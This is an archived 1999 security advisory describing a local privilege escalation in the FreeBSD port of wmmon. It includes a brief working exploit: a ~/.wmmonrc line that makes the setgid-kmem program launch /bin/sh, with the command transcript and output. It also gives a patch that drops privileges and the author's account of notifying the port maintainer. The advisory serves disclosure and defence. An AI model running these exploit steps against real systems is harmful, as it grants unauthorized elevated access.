exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

wmmon.freebsd.txt

wmmon.freebsd.txt
Posted Dec 31, 1999
Authored by Steve Reid

Wmmon is a popular program for monitoring CPU load and other system utilization. It runs as a dockapp under WindowMaker. The FreeBSD version of this program has a feature that can be trivially exploited to gain group kmem in recent installs, or user root in really old installs. This affects the FreeBSD version because under FreeBSD the program must be installed setgid kmem or setuid root in order to access system load information through the memory devices. The Linux version should not be vulnerable because it reads information through procfs which requires no special privileges.

tags | exploit, root
systems | linux, freebsd
SHA-256 | b17324e668f1be017ac1858c718bf3d368886a8ffc62efe182da8ba3ed9aeb9c

wmmon.freebsd.txt

Change Mirror Download
Posted Tuesday, December 21, 1999 - 16:41  by reid:
Steve Reid wrote:
Wmmon is a popular program for monitoring CPU load and other system
utilization. It runs as a dockapp under WindowMaker.

The FreeBSD version of this program has a feature that can be trivially
exploited to gain group kmem in recent installs, or user root in really
old installs. This affects the FreeBSD version because under FreeBSD the
program must be installed setgid kmem or setuid root in order to access
system load information through the memory devices. The Linux version
should not be vulnerable because it reads information through procfs
which requires no special privileges.

Exploit:
% id
uid=1000(steve) gid=1000(steve) groups=1000(steve)
% echo 'left /bin/sh' > ~/.wmmonrc
% wmmon -display myworkstation.evilhacker.net:0.0
Monitoring 2 devices for activity.
{Left-click on the little window that appears}
current stat is :1
$ id
uid=1000(steve) gid=1000(steve) egid=2(kmem) groups=2(kmem), 1000(steve)

Here is a patch:

--- work/wmmon.app/wmmon/wmmon.c.old Thu Dec 2 02:06:55 1999
+++ work/wmmon.app/wmmon/wmmon.c Thu Dec 2 04:20:22 1999
@@ -318,6 +318,8 @@

if (kvmd==NULL) kvmd = kvm_openfiles(NULL, NULL, NULL, O_RDONLY,
errbuf);
if (kvmd==NULL) { fprintf(stderr, "kvm_openfiles: %s\n", errbuf);
exit(errno); }
+ if (setgid(getgid()) != 0) exit(1); /* We're sgid kmem. Give up
privs. */
+ if (setuid(getuid()) != 0) exit(1); /* If we're suid, give that up
too. */
if (kvmd) {
if (kvm_nlist(kvmd, nl) >= 0) {
struct nlist *nlp;

To fix your wmmon binary save the above as wmmon.patch and do this:

cd /usr/ports/sysutils/wmmon
make patch
patch < wmmon.patch
make
su root
make deinstall
make reinstall

The exploit and patch were tested with wmmon 1.0.b2 installed using the
ports tree. Standard disclaimers apply.
I first emailed the FreeBSD wmmon port maintainer about this back in
February. At that time the program was installed setuid root, giving
easy access to user root instead of just group kmem. There was also a
buffer overflow on the $HOME variable which could probably be used to
access the memory device file descriptors even if privileges were
relinquished (which they weren't). The port maintainer acknowledged my
email and a message warning of a security vulerability was placed in the
pkg/DESCR file but as far as I could tell that was all that was done for
some weeks. The port maintainer changed during that time and I guess my
email got lost in the switch. I forgot about it until a few weeks ago
when I checked the port again. The warning message is gone, the buffer
overflow on $HOME is fixed, and the program now installs setgid kmem
instead of setuid root. The problem still exists, it has just been
reduced from a root exploit to kmem. On Dec. 2nd I again emailed the
port maintainer (now a different person) and he acknowledged my email,
but as of Dec. 20th the port still appears to be vulnerable.

---------------------------------
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close